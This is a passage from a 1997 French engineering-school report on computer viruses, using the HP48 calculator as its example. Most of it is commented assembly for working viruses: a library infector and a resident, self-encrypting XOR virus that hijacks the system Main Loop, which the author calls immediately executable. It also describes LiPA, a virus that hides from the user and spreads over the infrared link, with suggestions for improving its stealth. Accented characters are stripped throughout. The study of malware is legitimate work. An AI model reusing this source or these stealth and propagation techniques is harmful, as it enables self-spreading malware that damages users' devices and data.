/* Cette librairie a-t-elle un nom ? /* (si elle nen a pas, elle est en ROM) /* Si non, librairie suivante Toute la squence qui suit sert tester si la librairie repre est dj infecte pour cela, le virus positionne un registre pointeur dadresse sur le dbut de son propre code, et un second sur lendroit o se trouverait sa copie dans la librairie teste. Puis on effectue une comparaison bit par bit de ces deux zones sur une longueur de #FF quartets, grce un appel un code situ en ROM ladresse #07831, via un saut long cette adresse (GOSBVL 07831)

39

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 A=R3 D1=A A=R4 B=A A GOC ok2 GOTO etudlib *ok2 A=R0 D0=A D0=D0+ 13 A=DAT0 A CD0EX A=A+C A D0=A D0=D0+ 5 A=DAT0 A A=A-5 A C=0 A LCHEX 19 ?A>C A GOYES sup C=A A *sup D=C A *findprg D0=D0+ 5 D=D-5 A GONC ok3 GOTO etudlib *ok3 A=DAT0 A CD0EX R2=C A=A+C A R3=A D0=A A=DAT0 A C=R2 D0=C LCHEX 02D9D ?A<>C A GOYES ok3 D0= 8031E A=R3 DAT0=A A D0=D0+ 5 A=R2 DAT0=A A A=PC GOINC e1 *e1 $11920 $BD300 $5F300 $1EDE0

/* Si la librairie trouve est dj infecte, on passe /* la librairie suivante, sinon, on linfecte /* et on va ok2

/* D0 pointe sur la Link Table de la librairie

/* /* /* /* /*

Prend le min du nombre dobjets dans la librairie et de 5. Ainsi, on examinera au plus les 5 premiers objets de la librairie on cherche en effet un objet programme infecter

/* Cette boucle parcours les au plus 5 premiers /* objets de la librairie /* Si on a examin tout les objets sans succs /* on passe la librairie suivante

/* Lobjet est-il diffrent dun programme ? /* si oui, on passe lobjet suivant /* et on va donc *findprg /* On sauvegarde ladresse de lobjet infecter /* dans le buffer dentre sortie en #8031E

TO exit

/* /* /* /* /* /*

Pour rserver la mmoire ncessaire linfection, on cre un entier binaire dont la taille est gale celle du virus et on le stocke dans le Port 0. Pour cela, il faut utiliser le RPL tendu et faire des appels des programmes RPL en ROM.

/* Les donnes prcdes dun $ sont du code RPL qui /* est crit tel quel dans le code du virus, et qui

40

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 $95865 $C4356 $18E50 $F0512 /* cre lentier et le copie dans le port 0. /* On programme donc une sortie du code machine du virus /* vers cette squence dinstructions.

/* Dbut du processus dinfection $CCD20 /* Une fois lentier cr, on reviens au langage machine $B2130 GOSBVL 0679B /* tous les tests stant rvls favorables, D0= 80319 /* on va dsormais infecter la librairie dont A=DAT0 A /* les proprits sont conserves dans le R1=A /* buffer dentre sortie en #80319 A=PC /* On les y rcupre GOINC retour A=A+C A GOSUB test GONC suit1 GOSUB setc A=A-C A *suit1 /* Les manuvres qui suivent on pour but de C=A A /* dcaler lensemble de la mmoire situe entre la RSTK=C /* fin de lentier binaire (situ au dbut du C=D A /* Port 0) et lendroit o va simplanter le virus, A=C A /* vers le dbut du Port 0. Le virus naura D1=A /* qu insrer sa copie dans lespace ainsi GOSUB setc /* mnag. A+A+C A /* Il faut galement modifier ladresse de B=A A /* retour au virus lors de lexcution du code A=R1 /* en ROM, dans le cas o le virus a lui aussi D0=A /* t translat GOSUB idl->szl A=DAT0 A CD0EX C=C+A A C=C-B A C=C-4 A /* Fait un appel un programme en langage A=B A /* machine, situ en ROM ladresse #0670C D0=A /* et qui effectue le dcalage souhait LAHEX 0670C /* le retour se fait *retour PC=A *retour D0= 8031E A=DAT0 A GOSUB setc A=A-C A D0=A R2=A A=R1 A=A-C A R1=A D0=D0- 7 A=DAT0 7 DAT1=A 7 AD1EX D1=A R0=A A=PC

/* On recopie la zone didentification du programme sain /* vers la copie infecte de lui mme qui se trouve /* en fin de librairie.

41

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 GOINC deb A=A+C A D0=A D0=D0- 15 GOSUB setc C=C- 8 *CopyVir A=DAT0 1 DAT1=A 1 D0=D0+ 1 D1=D1+ 1 C=C-1 A GONC CopyVir D0= 80323 A=DAT0 A GOSUB setc A+A-C A R3=A D0=A C=R0 C=C-A A DAT0=C A A=PC GOINC saut A+A+C A A=A-B A C=R0 A=A+C A D0=A D0=D0+ 15 A=R2 CD0EX A=A-C A D0=C D0=D0+ 2 DAT0=A A A=R1 D0=A GOSUB idl->szl GOSUB setc A=DAT0 A A=A+C A DAT0=A A D0=D0- 5 GOSBVL 0A01C C=0 A C=DAT0 4 C=C+A A DAT0=C 4 D0=D0+ 4 AD0EX R1=A D0= 809A3 A=DAT0 X /* Cette boucle recopie le virus /* vers la fin de la librairie, aprs /* la zone didentification crite auparavant

/* Modifie la Link Table /* en remplaant loffset vers le programme sain /* par celui vers sa copie infecte

/* Modifie loffset de saut vers le programme infect /* dans la nouvelle copie du virus

/* Recalcul la taille de la librairie modifie

/* Remplace lancienne taille par la nouvelle. /* Recalcul le CRC de la librairie en appelant /* un code situ en ROM ladresse #A01C

/* puis rcrit ce CRC la place de lancien

/* Adresse dune zone de pointeurs pointant sur /* toutes les librairies existantes sur la HP48

42

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 B=A A D0=D0+ 3 *LOOP1 AD0EX D1=A D0=A D0=D0+ 16 B=B-1 X GOC home D1=D1+ 8 A=DAT1 A ?A<>0 A GOYES loop1 D1=D1- 5 A=DAT1 A GOSUB test GONC loop1 GOSUB moins GOTO loop1 *home D1= 80711 C=DAT1 A D1=C D1=D1+ 5 C=DAT1 X B=C A D1=D1+ 6 *loop2 B=B-1 X GOC sortie A=DAT1 A GOSUB test GONC a21 GOSUB moins *a21 D1=D1+ 5 A=DAT1 A GOSUB test GONC a22 GOSUB moins *a22 D1=D1+ 8 GOTO loop2 *sortie A=PC *saut LCHEX 00074 C=C+5 A *exit A=A+C A GOSBVL 067D2 D0=A GOSBVL 2D564 /* Cette boucle parcourt tout les pointeurs de librairie /* et les dcale si la librairie pointe tait dans /* la zone mmoire qui a t translat /* Si tout les pointeurs ont t examins, /* on va *home

/* Est-ce une librairie systme ? /* si oui, va *loop1

/* test regarde si la librairie utilisateur /* tait dans la zone translate /* Si oui, on dcale le pointeur /* Autre srie de pointeurs dcaler : ceux /* contenus dans le rpertoire matre pour /* identifier les librairies qui lui sont attaches

/* si tout les pointeurs ont t examins, /* on quitte le code : on va vers *sortie

/* /* /* /*

il y a plusieurs types de pointeurs tester, dirigs vers la Hash Table, le Message Array, et le dernier objet de la librairie

/* Le virus a finit son excution : il faut dsormais /* excuter le programme infect /* Ce code ntant pas en situation dinfection, /* il na pas de programme excuter, et se contente /* de sortir sur un programme vide

/* Sortie

43

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

*test CD0EX R3=C D0= 80716 C=DAT0 A D=C A C=R3 D0=C C=D A ?C=<A A GOYES toto RTNCC *toto C=R1 ?C>A A RTNYES RTNCC *idl->szl D0=D0- 2 A=0 A A=DAT0 B A=A+A A CD0EX C=C-A A D0=C D0=D0- 7 RTN *moins A=DAT1 A GOSUB SETC A=A-C A DAT1=A A RTN *setc LCHEX 0041F RTN

/* Teste si un la librairie pointe /* tait dans la zone translate

/* Sous-programme qui dplace le pointeur /* D0 vers le dbut de la librairie /* lorsque celui ci pointe sur son numro

/* Dcale un pointeur vers une librairie /* translate

/* Charge la taille du virus dans le registre C champ A

3.4.

Commentaires sur ce virus

Ce virus est dj de bien meilleur qualit que le prcdent. Son temps de rplication est denviron une demi seconde, et les nombreux tests effectus permettent dassurer une plus grande discrtion, notamment en vitant de produire des erreurs qui le trahiraient. De plus, il possde une structure volontairement aberrante qui nest pas celle dun objet code
44

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

classique de la HP48, puisquil possde une squence dinstructions en RPL tendu. De ce fait, il est impossible dutiliser un dsassembleur automatique pour lditer : il faudrait faire ce travail la main. Quand bien mme quelquun russirait le dcoder, ce virus profite de nombreuses astuces de programmation qui rendent sa comprhension trs dlicate. Cependant, ces acrobaties de programmation sont justifies avant tout par une volont de rduire au maximum la taille du virus. Sa taille de 514 octets nest pas ngligeable, sachant que la taille moyenne dune librairie oscille entre 5 et 10 Ko, mais on se rendra compte travers dautre exemples quil est difficile dcrire un virus pour librairie d taille infrieure. De plus, il reste quelques bugs de programmations, qui se produisent lorsquil y a superposition de modules mmoires, car alors, le systme de la HP48 dcale virtuellement certains modules de mmoires, ce qui pose des problmes dans le calcul des adresses de retour. Mais une telle configuration se produit rarement. Enfin, un scanner viendrait immdiatement bout de ce virus, qui en plus est facile dsinstaller. Sa stratgie de dfense consiste en fait se faire le plus discret possible. On se rend ainsi compte de la difficult quil y a programmer des virus en assembleurs : il faut une connaissance trs dtaille du fonctionnement de la machine. De plus, la programmation en langage machine, comme laspect du listing le laisse deviner, est extrmement dlicate mettre en uvre. Il faut crire lorganigramme dtaill du programme avant de le raliser, et la recherche des erreurs est trs fastidieuse.

4. Un virus systme
On appellera virus systme, sur la HP, un virus qui sera excut au moment du dmarrage de la machine, indpendamment du fait quil infecte ou non des fichiers systmes. En effet, il ny a pas de fichiers systme proprement dit sur une HP48. Ce virus est une librairie qui sinstalle dans le port 0 et dtourne des instructions daffichage et de gestion de la mmoire pour se camoufler. Pour cela, elle substitue la Main Loop de la HP48 sa propre Main Loop, qui lui donne le contrle de la calculatrice. De plus, elle dtourne la fonction de transfert infrarouge de la calculatrice pour pouvoir se rpandre dune machine lautre. De ce fait, ce virus est baptis LiPA, pour Librairie Parasite Autopropageable. Nous allons en dtailler le fonctionnement, mais nous ne donnerons pas son listing, quil serait trop long de rendre comprhensible.

4.1.

Fonctionnement du reset de la HP48 et de sa Main Loop

A chaque reset de la machine, la CPU excute le programme situ ladresse #00000. Celui-ci rinitialise toute la RAM, lexception de la zone qui contient les variables utilisateurs et du Port 0, et reconstruit les zones de la RAM o sont conserves les donnes du systme (RAM rserve). Ce programme installe ensuite le mcanisme dinterprtation du RPL tendu, puis il excute, entre autres, les Config Object de toutes les librairies recenses en ROM et en RAM. Classiquement, le Config Object contient une instruction attachant la librairie au rpertoire matre, et ventuellement une instruction daffichage signalant lutilisateur la prsence de la librairie.
45

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

A la fin de son excution, le programme de reset lit dans un champ spcifique de la RAM rserve ladresse laquelle se trouve la Main Loop qui est la boucle qui gre le fonctionnement de la HP48. Il excute alors cette Main Loop. Il sagit dune boucle sans fin, situe ladresse #385A7 en ROM et programme en RPL tendu.. Elle contient successivement un appel un programme de rafrachissement de laffichage et un programme de gestion du clavier, qui excute lordre correspondant une pression de touche en effectuant un contrle derreur. Cest cette Main Loop qui dfinit le fonctionnement de la HP48 dans son usage courant. Notons que le fonctionnement du reset et de la Main Loop nest rfrenc dans aucun livre, mais il est possible de lanalyser en fouinant dans la ROM. Or, sa connaissance est ncessaire pour crire un virus systme sur HP48. Ceci est une bonne illustration dun phnomne frquent pour les virus informatique : leur conception ncessite de trouver des failles dans le systme informatique, lesquelles ne sont souvent dcouvertes quen ttonnant et par hasard.

4.2.

Fonctionnement de LiPA

LiPA tire profit de ces deux mcanismes pour prendre le contrle de la HP48. LiPA est une librairie et possde donc un Config Object. Celui-ci contient une squence de langage machine (objet code) qui remplace ladresse de la Main Loop contenue dans le champ prcit de la RAM, par ladresse dune Main Loop modifie contenue dans la librairie. Ainsi, la fin du reset, le contrle de la HP48 sera assur par la Main Loop de LiPA et non par le systme original. La Main Loop de LiPA est identique celle de la HP, quelques ajouts prs. En effet, LiPA effectue deux types de taches : elle se camoufle aux yeux de lutilisateurs, et elle assure son auto-propagation. Pour cela, il faut dtourner le sens de certaines combinaisons de touches au clavier, et remplacer certaines instructions du langage RPL. Il est en effet possible de remplacer une instruction RPL par un programme ayant une action diffrente. La HP48 dans sa dmarche pour interprter une instruction depuis lditeur de texte de la ligne de commande commence par chercher si cest le nom dun programme contenu dans une librairie, grce aux Hash Table. Et sa recherche dbute par les librairies situes en RAM. Ainsi, si il existe deux programmes portant le mme nom, lun en ROM et lautre en RAM, cest ce dernier qui sera excut. Comme LiPA est une librairie, il est possible de redfinir ainsi plusieurs des instructions de la HP48. Les astuces employes dans LiPA tant toutes expliques, nous allons maintenant dtailler en deux temps la faon dont LiPA se camoufle et se propage.

4.2.1. Systme dauto-camouflage de LiPA Pour sauto-camoufler, LiPA doit dtourner deux types dinstructions : les instructions dites en ligne de commande, et celles tapes par des raccourcis clavier, grce au systme de menu droulant de la calculatrice. Il ny a quune instruction dite redfinir : cest la fonction PVARS qui met sur la pile de travail une liste contenant la description de toutes les librairies prsentes dans un port. Il suffit donc de mettre dans LiPA un programme appel PVARS, qui effectue le vrai PVARS par un appel direct en ROM, puis te de la liste obtenue les paramtres dcrivant LiPA lorsquils y sont.

46

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

La tache pour les raccourcis clavier est plus dlicate : il faut inclure dans la Main Loop de LiPA un test pour savoir si leffet de la touche enfonce correspond la demande daffichage dans la zone dcran des menus du contenu du Port 0. Si tel est le cas, il faut excuter un programme qui reconstruit le graphique des menus qui saffiche en bas dcran, pour en enlever la case dsignant LiPA. 4.2.2. Systme dauto-propagation de LiPA LiPA dtourne la liaison infrarouge srie de la HP48 pour se propager dune machine lautre. En effet, la HP48 possde une interface infrarouge permettant lmission rception avec une autre HP48, selon le protocole RS232. Il existe donc un menu et un jeu dinstruction permettant dmettre et de recevoir des donnes (programmes, librairies) par infrarouge. Cest mme le mode de transmission le plus utilis, les deux autres modes possibles tant le cble de transmission et les modules mmoires enfichables. Le menu de gestion de linterface infrarouge se prsente sous la forme dun menu droulant offrant plusieurs options : send to HP48, get from HP48, print display, print, transfer et start server. Nous souhaitons dtourner loption send to HP48, et pour cela il nexiste pas dautre moyen que de rcrire entirement le programme daffichage du menu, pour quil puisse appeler un programme dinfection lorsque loption send to HP48 aura t slectionne. Ce programme dinfection affiche lcran normal de saisie du nom de lobjet transmettre, puis, au lieu de lmettre immdiatement, teste si il sagit dun programme. Si cest un programme et quil est assez gros pour que lajout de LiPA dans son corps ne soit pas trop visible, alors il modifie ce programme pour y inclure LiPA et des instructions dinstallation de LiPA, lesquelles seront excutes en mme temps que le programme support sur la machine receveuse. Elles copieront LiPA dans le Port 0 de la machine receveuse et enlveront LiPA du programme support. Pour effectuer lensemble de ces oprations, il faut rcrire lensemble des programmes daffichage du menu et dexcution de send to HP48, et les valuer dans la Main Loop de LiPA lorsquun appel au menu de linterface infrarouge aura t fait par un appui de touche. Le programme qui effectue ces oprations est situ dans une librairie de la ROM, et la partie qui nous est utile fait environ 500 octets de long. On en cr donc une copie modifie que lon inclut dans la Main Loop de LiPA. Il reste encore dtourner linstruction SEND, ditable dans la ligne de commande, et qui sert transfrer un objet par la liaison infrarouge. Comme prcdemment, on crit un programme nomm SEND qui effectue le programme dinfection dcrit plus haut, puis fait un appel au SEND vritable, en ROM.

4.3.

Conclusion sur LiPA

Lintrt de ce virus rside dans les ides qui permettent de le concevoir. Sur la base de ces ides, on pourrait le faire voluer pour crire des versions beaucoup plus efficace que celle-ci, qui est dplorable. LiPA mesure 1 Ko, ce qui est non ngligeable dans une RAM parfois limite 32 Ko. Sa Main Loop est lgrement plus lente que celle de la HP, cause des tests supplmentaires, mais cest peu sensible. Ses dfauts majeurs viennent des techniques de camouflage et de reproduction employes. En effet, avec ses deux prcautions de camouflage, LiPA peut passer inaperue dun utilisateur peu expriment. Cependant un utilisateur avertit, utilisant le RPL tendu,

47

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

sapercevra immdiatement du problme. Il ne pourra effacer LiPA directement, puisquelle contient la Main Loop active, et aura donc quelques difficults la dsinstaller, mais y parviendra. Dans loptique dun bon virus, LiPA est donc un chec, car trop voyant. En outre, la technique employe par LiPA pour sinstaller sur une autre machine est la fois incertaine et trs voyante. En effet, il est rare de communiquer par infrarouge un programme de taille assez importante pour que LiPA sy fixe, compte tenu du faible dbit de cette liaison (9600 baud). Dautre part, une fois LiPA installe dans le Port 0 de lautre machine, celle-ci va automatiquement provoquer un reset pour enregistrer les paramtres de cette nouvelle librairie. Nimporte quel utilisateur en dduira la prsence dune nouvelle librairie et la recherchera. Cependant, on peut imaginer des mthodes de propagation beaucoup plus sres. On pourrait par exemple inclure LiPA dans une librairie transmettre, ce qui serait plus discret, notamment au niveau du reset qui serait alors provoqu par la librairie porteuse, mais cela demanderait dcrire un code en langage machine pour modifier la structure de la librairie porteuse. On pourrait galement perfectionner les techniques de camouflage en assurant un contrle plus prcis des oprations effectues par lutilisateur. Une fois encore, libre court est laiss limagination du programmeur pour perfectionner le virus.

5. Virus hybride rsidant et auto-crypt


Ce dernier virus est le plus performant de la srie, mais aussi le plus complexe. Sa structure est encore diffrente de celles des prcdents et illustre donc une possibilit supplmentaire dcriture de virus sur HP48. Il est hybride en ce sens quil infecte les objets librairie, et quen mme temps, il sexcute au dmarrage de la machine. Et il est rsidant en ce sens quaprs le reset, il nest plus excut depuis un fichier, mais depuis une zone mmoire o il sest recopi. Nous allons expliquer son fonctionnement avant den donner un listing comment.

5.1.

Fonctionnement du virus

Ce virus est un croisement entre LiPA et le virus infecteur de librairie examin en partie 3. En effet, il se propage en infectant les Config Object des librairies, et deviens rsidant lors du reset grce ce mme Config Object. De plus, lorsquil est lintrieur dune librairie, sa Main Loop et son programme dinfection sont chiffrs avec une clef qui change dune copie lautre. Ainsi, ce virus est constitu de deux parties spares : dabord le programme qui est effectu la suite du Config Object, lors du reset, et qui sert recopier le code du virus dans la zone des objets temporaires, ly dchiffrer, et remplacer ladresse de la Main Loop du systme par celle du virus, afin de lexcuter la suite du reset. Ensuite le programme contenant la Main Loop du virus et le processus

48

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

dinfection dune librairie, qui est excut aprs le reset. Nous allons dtailler le fonctionnement de ces deux programmes.

5.1.1. Programme dinstallation du virus lors du reset Le virus est plac dans la librairie juste aprs le Config Object, et est valu la suite de ce dernier. Le programme alors valu vrifie quil y a assez de mmoire pour installer le virus en rsidant, et si il ny a pas dj un programme rsidant (auquel cas il ne fait rien, pour ne pas attirer lattention). Ensuite, il recopie le virus dans la zone des objets temporaires, ly dchiffre (puisque le virus est ltat chiffr dans la librairie), et remplace ladresse de la Main Loop du systme par celle du virus. Ainsi, la suite du reset, cest la Main Loop du virus qui prend le contrle de lenvironnement. La figure 5 dcrit le fonctionnement du virus lorsquil est dans la librairie. Les zones en gris fonc reprsente les parties actives du virus, et celle en gris clair les parties inactives chiffres.

5.1.2. Main Loop du virus Elle est excute aprs le reset, la place de celle du systme. Elle commence par un code qui rcrit ladresse de la Main Loop du systme dans le champ de la RAM systme prvu cet effet, ce afin de brouiller les pistes menant au code du virus. Ensuite est excute une Main Loop identique celle du systme, ceci prs quelle excute chaque cycle un test pour dterminer si le premier objet du rpertoire courant est une librairie. Si tel est le cas, il essaiera de linfecter. Cette tactique est particulirement astucieuse pour rpandre le virus dune HP48 lautre. En effet, avant dtre transmise par une liaison srie, une librairie doit toujours tre dabord stocke dans le rpertoire courant. Elle y est alors en premire position !

Longueur de la librairie, hors prologue Nom de la librairie Numro Offsets vers la Hash Table, le Message Array, la Link Table Offset vers le Config Object

Hash Table Message Array Link Table Config Object Initial

Identificateur de lobjet i Objet i 49

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Copie du Config Object

VIRUS
Saut vers Config

Main Loop et Programme dinfection chiffrs


Config
Teste si le virus peut devenir rsidant Recopie le virus dans la mmoire des objets temporaires Ly dchiffre Le rend rsidant

Checksum (CRC)

Figure 5 : Virus autocrypt install dans une librairie

La librairie repre subit une srie de tests prliminaires son infection (existence dun Config Object adquat, mmoire libre suffisante, taille de la librairie). Si ces tests sont valids, la librairie est recopie dans la mmoire des objets temporaires. Son Config Object, qui peut tre situ nimporte o dans le corps de la librairie, est recopi la fin de la copie de la librairie, suivie dune copie du virus, installe telle quon le voit sur la figure 5. La copie du virus est ensuite chiffre avec une nouvelle clef. La figure 6 illustre ce fonctionnement. Notons galement que cette Main Loop est conue pour ne sexcuter quun nombre fini de fois, lissu desquelles une charge facultative peut tre excute. Nous avons ainsi un prototype complet dun vritable virus.

Prologue de librairie #04B20h

M A I N L O O P V I R A L E

Prologue de code et saut vers config Code restaurant ladresse de la Main Loop De 1 8695 faire Instructions de Main Loop normale Code effectuant un saut test Instructions denregistrement de la librairie infecte

50

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Cycle suivant Charge facultative

Code dinfection
Test Tests dinfections Oui Non

Cration dune copie de la librairie que lon modifie pou y inclure le virus, et que lon chiffre, puis retour.

Code excut lors du reset


Config

Figure 6 : Fonctionnement du virus autocrypt ltat rsidant

5.1.3. Chiffrement du virus Le virus se chiffre laide dun ou exclusif entre lui mme et une clef qui varie dune copie lautre. Lintrt dun tel chiffrement est de limiter la portion de virus identique dune copie lautre. De plus, le virus devient impossible dsassembler automatiquement, dautant que la zone chiffre a t volontairement situe en tout dbut du code viral.

5.2.

Listing comment du virus

La notation nom_de_programme signifie que le programme ainsi nomm et dont le listing est dtaill plus loin est inclut cet endroit dans le code final. Le code prsent cidessous est immdiatement excutable.
CODE PRINCIPAL GOSBVL 0679B A=PC GOINC LOOP A=A+C A GOSBVL 067D2 D0=A GOVLNG 2D564 *DEB /* cette portion de code sert installer le virus /* en excutant sa Main Loop qui est contenue /* dans CNTRLOOP

51

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 $CCD2090000 GOSUB config *LOOP 'CNTRLOOP $C2A20 $73300 'INFECTION /* /* /* /* /* Cette partie du code est excute la suite /* du Config Object

Le code *config est excut pendant le reset, aprs le Config Object. Il recopie le virus dans la zone des objets temporaires et remplace ladresse de la Main Loop systme par celle du virus

*config GOSBVL 0679B C=RSTK R1=C LCHEX 00300 ?C<D A GOYES okmem GOTO exitCNFG *okmem D0= 807FC LCHEX 3858E A=DAT0 A ?A=C A GOYES instal GOTO exitCNFG

/* Y a-t-il assez de mmoire pour installer le virus /* en tant que rsidant ? /* Un autre programme sest il dj install /* comme rsidant ?

/* Si oui, on arrte l

/* Code installant le virus en zone des objets temporaires /* et lui donnant statut de rsidant *instal GOSUB SETSV GOSBVL 05B7D AD0EX R2=A D1=A A=R1 D0=A D0=D0- 14 GOSUB SETSV GOSBVL 0670C C=R2 C=C+14 A D0= 807FC DAT0=C A D1=C /* Rserve dans la zone des objets temporaires une /* zone de la taille du virus (appel #5BD7)

/* Recopie le virus dans cette zone /* (appel au code en ROM ladresse #670C) /* Ecrit ladresse de la Main Loop du virus la /* place de celle du systme en #807FC. /* Ainsi, le virus prend le contrle de la HP48.

*CLEF LCHEX 0000000000000000 R0=C GOSUB DCRYPT *exitCNFG LCHEX 02237

/* Valeur de la clef de dchiffrement, rcrite /* chaque copie du virus.

/* Le virus recopi en zone des objets temporaires est /* chiffr, on le dchiffre donc. /* On termine lexcution du Config Object /* en le quittant

52

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 GOTO J1 'DCRYPT 'SETSV @

DCRYPT *DCRYPT LCHEX 20 D=C B *DCPT C=DAT1 W A=R0 B=A W A=A&C W ABEX W A=A!C W A=A-B W DAT1=A W D1=D1+ 16 D=D-1 B GONC DCPT RTN @ /* Ce sous programme sert effectuer un ou /* exclusif entre une zone et une clef, et /* crire le rsultat sur cette zone /* La zone mesure 256 octets, ce qui permet /* de chiffrer la Main Loop du virus et /* son programme dinfection

SETSV *SETSV LCHEX 00453 RTN @ /* Sous programme chargeant la taille du virus en /* quartets dans le registre C champ A

/* La partie qui suit est ltat chiffr lorsque le virus est dans /* une librairie. Il sagit de la Main Loop du virus et de son /* programme dinfection CNTRLOOP $D9D2079E60 $3F126 /* cest la Main Loop du virus, qui est excut /* immdiatement aprs un reset et lui permet de /* prendre le contrle de la HP48

$CCD20420008FB97601BCF70834E85831448D34150 /* cet objet code rcrit ladresse de la vrai Main Loop dans /* le champ spcifi de la RAM systme, pour effacer toute /* trace de la prise de contrle durant le reset $442308E583 $CD5E1 $BD370 /* Dbut de la Main Loop du virus /* Cette boucle nest pas infinie, mais sachve au bout /* de 8465 cycles /* Instructions normales de la Main Loop : gestion /* des touches, rafrachissement de lcran

$9CB04F66831A683 $C3024E5E4045404 $8BE4082783

53

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 $CCD2090000 GOSUB VIREXE *Save $977819805072D70 *Rien $43370 /* Code testant si il y a une librairie infecter /* dans le rpertoire courant /* /* /* /* Le retour de ce code se fait *Save. La librairie infecte est alors au 1er niveau de la pile, et on la copie la place de lancienne.

/* Fin de la boucle /* /* /* /* Lorsque la boucle a effectu ses 8465 cycles, correspondant autant dappuis de touches, Le virus excute une charge facultative, puis sefface de la zone des objets temporaires

*Charge 'CHARGE_FACULTATIVE $B2130 @

INFECTION *VIREXE GOSBVL 0679B D0= 8071B A=DAT0 A GOSBVL 08503 A=DAT0 A CD0EX premier A=A+C A D0=A GOSBVL 08400 A=DAT0 A LCHEX 02B40 ?A=C A GOYES estLIB GOTO goML *estLIB GOSUB SETRS D0=D0- 10 A=DAT0 A LCHEX 06E97 ?A<>C A GOYES sain GOTO goML *sain A=R4 D1=A A=DAT1 A LCHEX 02D9D ?A=C A GOYES estPRG GOTO goML

/* Cette squence sert aller lire le prologue du /* objet stock parmi les variables utilisateur /* dans le rpertoire courant.

/* Le premier objet est il une librairie ? /* Si non, on retourne la Main Loop du virus

/* Cette librairie est elle dj infecte ? /* Si oui, retour la Main Loop

/* Le Config Object est il un programme ? /* Si oui, on continue *estPRG

54

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 *estPRG A=R2 D1=A D1=D1+ 5 A=DAT1 A LCHEX 00800 ?C<A A GOYES BigLIB GOTO goML

/* La librairie est elle assez grande pour rester /* inaperue si on lui rajoute le virus ? /* Si oui, va *BigLIB

*BigLIB R0=A GOSUB SZCNFG A=R0 A=A+C A GOSUB SETSV A=A+C A GOSBVL 067D2 C=D A C=C+C A /* Y a-t-il assez de mmoire pour infecter C=C+D A /* la librairie ? ?A<C A /* Si oui, on continu *assezMEM GOYES assezMEM GOTO goML *assezMEM C=0 A LCHEX F C=C+A A GOSBVL 05B7D AD0EX R0=A D1=A A=R2 D0=A D0=D0+ 5 C=DAT0 A D0=D0- 5 C=C+1 A GOSBVL 0670C /* /* /* /* /* On va procder linfection /* /* /* /* Rserve une zone mmoire de la taille de la librairie plus celle du virus dans la zone des objets temporaires, o on va recopier la librairie et ly infecter.

/* Recopie la librairie vers le dbut de la zone /* mmoire ainsi rserve

Le code qui suit sert installer le virus dans le Config Object de la librairie. Pour cela, on rcrit le Config Object la fin de la librairie (car il peut ne pas y tre), et le virus sa suite.

A=R0 D0=A GOSUB SETRS AD1EX D1=A C=R3 D0=C C=A-C A DAT0=C A GOSUB SZCNFG A=R4 D0=A GOSUB COPI

/* On modifie loffset vers le Config Object dans la /* librairie en le dirigeant vers sa nouvelle copie

/* On recopie le Config Object en fin de /* librairie

55

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 D1=D1- 6 LCHEX 0312B06E97 DAT1=C 10 D1=D1+ 10 AD1EX R1=A D1=A A=PC GOINC DEB A=A+C A D0=A C=R0 R0=A R4=C GOSUB SETSV GOSUB COPI A=PC GOINC CLEF A=A+C A C=R0 A=A-C A C=R1 A=A+C A D0=A D0=D0+ 2 A=A+A A D1=A A=DAT1 W DAT0=A W R0=A A=R1 C=0 A LCHEX E A=A+C A D1=A GOSUB DCRYPT A=R4 D0=A D1=A D1=D1C=DAT1 D1=D1+ C=C-15 DAT1=C GOSBVL /* On inclut dans le Config Object une squence /* qui excute le virus situ non pas dans, mais /* aprs le Config Object.

/* On recopie le virus tel quil est en zone des /* objets temporaires, cest dire non chiffr, /* dans la librairie en cour dinfection.

/* Lit la nouvelle clef de chiffrement /* Lcrit dans la nouvelle copie du virus

/* Chiffre le nouveau virus (Main Loop et /* programme dinfection) avec la clef

5 A 10 A A 0A01C

/* Recalcul le CRC de la librairie modifie

C=0 A C=DAT0 4 C=C+A A DAT0=C A GOSBVL 067D2 D1=D1- 5 D=D-1 A A=R4 DAT1=A A

/* Ecrit le nouveau CRC en fin de librairie /* /* /* /* Dpose la librairie infecte sur la pile de travail o les instructions comprises entre *STO et *AG soccuperont de la copier la place de lancienne librairie dans le rpertoire courant.

56

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48 GOSBVL 0679B A=PC GOINC Save C=C+A A GOTO Retour *SAG A=PC GOINC Rien C=C+A A GOTO Retour 'SETRS 'SZCNFG 'COPI *Retour A=C A GOSBVL 067D2 D0=A GOVLNG 2D564 @

/* Prpare le retour vers le label *Save /* dans la Main Loop

/* Prpare le retour vers le label *Rien /* dans la Main Loop

/* Retour au programme crit en /* RPL tendu

